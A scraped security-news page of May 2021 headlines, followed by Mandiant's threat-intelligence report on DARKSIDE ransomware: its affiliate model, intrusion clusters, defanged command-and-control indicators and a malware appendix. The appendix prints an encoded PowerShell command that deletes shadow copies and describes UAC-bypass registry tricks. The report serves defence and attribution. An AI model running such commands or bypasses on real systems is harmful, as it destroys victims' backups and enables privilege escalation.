Hackers Using Microsoft Build Engine to Deliver Malware Filelessly

14 May 2021

Threat actors are abusing Microsoft Build Engine (MSBuild) to filelessly deliver remote access trojans and password-stealing malware on targeted Windows systems. The actively ongoing campaign is said to have emerged last month, researchers from cybersecurity firm Anomali said on Thursday, adding the malicious build files came embedded with encoded executables and shellcode that deploy backdoors,

Report to Your Management with the Definitive 'Incident Response for Management' Presentation Template

14 May 2021

Security incidents occur. It's not a matter of 'if' but of 'when.' There are security products and procedures that were implemented to optimize the IR process, so from the 'security-professional' angle, things are taken care of. However, many security pros who are doing an excellent job in handling incidents find effectively communicating the ongoing process with their management a much more

Pakistan-Linked Hackers Added New Windows Malware to Its Arsenal

15 May 2021

Cybercriminals with suspected ties to Pakistan continue to rely on social engineering as a crucial component of its operations as part of an evolving espionage campaign against Indian targets, according to new research. The attacks have been linked to a group called Transparent Tribe, also known as Operation C-Major, APT36, and Mythic Leopard, which has created fraudulent domains mimicking

Magecart Hackers Now hide PHP-Based Backdoor In Website Favicons

14 May 2021

Cybercrime groups are distributing malicious PHP web shells disguised as a favicon to maintain remote access to the compromised servers and inject JavaScript skimmers into online shopping platforms with an aim to steal financial information from their users. "These web shells known as Smilodon or Megalodon are used to dynamically load JavaScript skimming code via server-side requests into online

Big Cybersecurity Tips For Remote Workers Who Use Their Own Tech

14 May 2021

As the total number of people working from home has grown dramatically in the last year or two, so has the number of individuals who use all of their own technology for their jobs. If you're a remote worker who relies on your own PC to get your work done, then you may be at a heightened risk for some of the major threats that are impacting the computer industry as a whole. Relatively few people

Colonial Pipeline Paid Nearly $5 Million in Ransom to Cybercriminals

15 May 2021

Colonial Pipeline on Thursday restored operations to its entire pipeline system nearly a week following a ransomware infection targeting its IT systems, forcing it to reportedly shell out nearly $5 million to regain control of its computer networks. "Following this restart, it will take several days for the product delivery supply chain to return to normal," the company said in a statement on

Rapid7 Source Code Breached in Codecov Supply-Chain Attack

14 May 2021

Cybersecurity company Rapid7 on Thursday revealed that unidentified actors improperly managed to get hold of a small portion of its source code repositories in the aftermath of the software supply chain compromise targeting Codecov earlier this year. "A small subset of our source code repositories for internal tooling for our [Managed Detection and Response] service was accessed by an

Old posts >>

Can Data Protection Systems Prevent Data At Rest Leakage?

13 May 2021

Protection against insider risks works when the process involves controlling the data transfer channels or examining data sources. One approach involves preventing USB flash drives from being copied or sending them over email. The second one concerns preventing leakage or fraud in which an insider accesses files or databases with harmful intentions. What's the best way to protect your data? It

Dark Web Getting Loaded With Bogus Covid-19 Vaccines and Forged Cards

14 May 2021

Bogus COVID-19 test results, fraudulent vaccination cards, and questionable vaccines are emerging a hot commodity on the dark web in what's the latest in a long list of cybercrimes capitalizing on the coronavirus pandemic. "A new and troubling phenomenon is that consumers are buying COVID-19 vaccines on the black market due to the increased demand around the world," said Anne An, a senior

Nearly All Wi-Fi Devices Are Vulnerable to New FragAttacks

14 May 2021

Three design and multiple implementation flaws have been disclosed in IEEE 802.11 technical standard that undergirds Wi-Fi, potentially enabling an adversary to take control over a system and plunder confidential data. Called FragAttacks (short for FRgmentation and AGgregation Attacks), the weaknesses impact all Wi-Fi security protocols, from Wired Equivalent Privacy (WEP) all the way to Wi-Fi

Latest Microsoft Windows Updates Patch Dozens of Security Flaws

12 May 2021

Microsoft on Tuesday rolled out its scheduled monthly security update with patches for 55 security flaws affecting Windows, Exchange Server, Internet Explorer, Office, Hyper-V, Visual Studio, and Skype for Business. Of these 55 bugs, four are rated as Critical, 50 are rated as Important, and one is listed as Moderate in severity. Three of the vulnerabilities are publicly known, although, unlike 

Ransomware Gang Leaks Metropolitan Police Data After Failed Negotiations

12 May 2021

The cybercrime syndicate behind Babuk ransomware has leaked more personal files belonging to the Metropolitan Police Department (MPD) after negotiations with the DC Police broke down, warning that they intend to publish all data if their ransom demands are not met. "The negotiations reached a dead end, the amount we were offered does not suit us, we are posting 20 more personal files on officers

Alert: Hackers Exploit Adobe Reader 0-Day Vulnerability in the Wild

11 May 2021

Adobe has released Patch Tuesday updates for the month of May with fixes for multiple vulnerabilities spanning 12 different products, including a zero-day flaw affecting Adobe Reader that's actively exploited in the wild. The list of updated applications includes Adobe Experience Manager, Adobe InDesign, Adobe Illustrator, Adobe InCopy, Adobe Genuine Service, Adobe Acrobat and Reader, Magento,

LIVE Webinar — The Rabbit Hole of Automation

11 May 2021

The concept of automation has taken on a life of its own in recent years. The idea is nothing new, but the current interest in automation is a mix of both hype and innovation. On the one hand, it's much easier today to automate everything from small processes to massive-scale tasks than it's ever been before. On the other hand, are we really prepared to hand the reins over to completely

U.S. Intelligence Agencies Warn About 5G Network Weaknesses

12 May 2021

Inadequate implementation of telecom standards, supply chain threats, and weaknesses in systems architecture could pose major cybersecurity risks to 5G networks, potentially making them a lucrative target for cybercriminals and nation-state adversaries to exploit for valuable intelligence. The analysis, which aims to identify and assess risks and vulnerabilities introduced by 5G adoption, was

Experts warn of a new Android banking trojan stealing users' credentials

11 May 2021

Cybersecurity researchers on Monday disclosed a new Android trojan that hijacks users' credentials and SMS messages to facilitate fraudulent activities against banks in Spain, Germany, Italy, Belgium, and the Netherlands. Called "TeaBot" (or Anatsa), the malware is said to be in its early stages of development, with malicious attacks targeting financial apps commencing in late March 2021,

U.S. Declares Emergency in 17 States Over Fuel Pipeline Cyber Attack

11 May 2021

The ransomware attack against Colonial Pipeline's networks has prompted the U.S. Federal Motor Carrier Safety Administration (FMCSA) to issue a regional emergency declaration in 17 states and the District of Columbia (D.C.). The declaration provides a temporary exemption to Parts 390 through 399 of the Federal Motor Carrier Safety Regulations (FMCSRs), allowing alternate transportation of

Over 25% Of Tor Exit Relays Spied On Users' Dark Web Activities

11 May 2021

An unknown threat actor managed to control more than 27% of the entire Tor network exit capacity in early February 2021, a new study on the dark web infrastructure revealed. "The entity attacking Tor users is actively exploiting tor users since over a year and expanded the scale of their attacks to a new record level," an independent security researcher who goes by the name nusenu said in a

Is it still a good idea to require users to change their passwords?

10 May 2021

For as long as corporate IT has been in existence, users have been required to change their passwords periodically. In fact, the need for scheduled password changes may be one of the most long-standing of all IT best practices. Recently, however, things have started to change. Microsoft has reversed course on the best practices that it has had in place for decades and no longer recommends that

Four Plead Guilty to Aiding Cyber Criminals with Bulletproof Hosting

09 May 2021

Four Eastern European nationals face 20 years in prison for Racketeer Influenced Corrupt Organization (RICO) charges after pleading guilty to providing bulletproof hosting services between 2008 and 2015, which were used by cybercriminals to distribute malware to financial entities across the U.S. The individuals, Aleksandr Grichishkin, 34, and Andrei Skvortsov, 34, of Russia; Aleksandr

Ransomware Cyber Attack Forced the Largest U.S. Fuel Pipeline to Shut Down

10 May 2021

Colonial Pipeline, which carries 45% of the fuel consumed on the U.S. East Coast, on Saturday said it halted operations due to a ransomware attack, once again demonstrating how infrastructure is vulnerable to cyber attacks. "On May 7, the Colonial Pipeline Company learned it was the victim of a cybersecurity attack," the company said in a statement posted on its website. "We have since

Facebook Will Limit Your WhatsApp Features For Not Accepting Privacy Policy

14 May 2021

WhatsApp on Friday disclosed that it won't deactivate accounts of users who don't accept its new privacy policy rolling out on May 15, adding it will continue to keep reminding them to accept the new terms. "No one will have their accounts deleted or lose functionality of WhatsApp on May 15 because of this update," the Facebook-owned messaging service said in a statement. The move marks a

Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild

10 May 2021

Cyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday. "SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and

4 Major Privacy and Security Updates From Google You Should Know About

08 May 2021

Google has announced a number of user-facing and under-the-hood changes in an attempt to boost privacy and security, including rolling out two-factor authentication automatically to all eligible users and bringing iOS-styled privacy labels to Android app listings. "Today we ask people who have enrolled in two-step verification (2SV) to confirm it's really them with a simple tap via a Google

6 Unpatched Flaws Disclosed in Remote Mouse App for Android and iOS

07 May 2021

As many as six zero-days have been uncovered in an application called Remote Mouse, allowing a remote attacker to achieve full code execution without any user interaction. The unpatched flaws, collectively named 'Mouse Trap,' were disclosed on Wednesday by security researcher Axel Persinger, who said, "It's clear that this application is very vulnerable and puts users at risk with bad


Rapid7 Source Code, Alert Data Accessed In Codecov Supply Chain Attack

14 May 2021

DarkSide Explained: The Ransomware Group Behind The Attack

14 May 2021

US Fuel Pipeline Paid Hackers $5 Million In Ransom

14 May 2021

Toshiba Unit Hacked By DarkSide

14 May 2021

Old posts >>

Tesla Stops Accepting Bitcoin Due To Fossil Fuel Use

13 May 2021

US Petrol Supplies Tighten After Colonial Pipeline Hack

13 May 2021

Hacker Manipulates Apple's Find My Network For Data Exfiltration

13 May 2021

FACT SHEET: President Signs Executive Order Charting New Course To Improve The Nation's Cybersecurity And Protect Federal Government Networks

13 May 2021

Hackers Leverage Adobe Zero Day Bug Impacting Adobe Reader

12 May 2021

CISA Warns Over FiveHands File-Encrypting Malware Variant

12 May 2021

Washington DC Police Allegedly Offered $100k To Hackers To Stop Leak

12 May 2021

AWS Configuration Issues Lead To Exposure Of 5 Million Records

12 May 2021

Vulnerability Attacks Weakness In Microsoft Azure VM Extensions

11 May 2021

Colonial Pipeline Ransomware Attack: Everything You Need To Know

11 May 2021

Lemon Duck Cryptojacking Botnet Changes Up Tactics

11 May 2021

Finance Giant Plaid Paid People $500 For Their Employer Payroll Logins

11 May 2021

Major U.S. Pipeline Crippled In Ransomware Attack

10 May 2021

Justice Department Quietly Seized Washington Post Reporters' Phone Records During Trump Era

10 May 2021

Amazon Seized, Destroyed Two Million Fake Products In 2020

10 May 2021

Group Pleads Guilty To Running Bulletproof Hosting Service

10 May 2021

Biggest ISPs Paid For 8.5 Million Fake FCC Comments Opposing Net Neutrality

07 May 2021

Ryuk Ransomware Attack Sprung By Frugal Student

07 May 2021

New Moriya Rootkit Stealthily Backdoors Windows

07 May 2021

Critical Cisco Bugs Threaten Corporate Networks

07 May 2021

Your Own Phone Number Can Be Used To Hack You, Study Finds

06 May 2021


Old posts >>

Shining a Light on DARKSIDE Ransomware Operations

11 May 2021

Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.


Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.


Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.

Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums and In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version


Related Reporting

Nov. 10, 2020 (V1)


Ability to generate builds for both Windows and Linux environments from within the administration panel. 


Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)


Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.


Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (

DARKSIDE Affiliates

DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.

Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.

Figure 3: TTPs seen throughout DARKSIDE ransomware engagements


UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public


UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/ The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.


UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.


We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.


Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.

Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as . :

Service Name:

Filesystem Artifacts

Created Files


May version: %PROGRAMDATA%\.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:




The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.









Encrypt local disks



Encrypt network shares



Perform language check



Delete volume shadow copies



Empty Recycle Bins






Perform UAC bypass if necessary



Adjust token privileges






Feature not used but results in the following strings being decrypted:




Ignore specific folders



Ignore specific files



Ignore specific file extensions



Feature not used; related to these strings: "backup" and "here_backups"



Feature not used: related to these strings: "sql" and "sqlite"



Terminate processes



Stop services



Feature not used; related to a buffer that contains the repeated string "blah"



Drop ransom note



Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.


Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as . The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

SELECT * FROM Win32_ShadowCopy

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.


Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.


Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.


Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.


Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

application data
program files
program files (x86)
system volume information
tor browser
all users

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.


Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.


Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
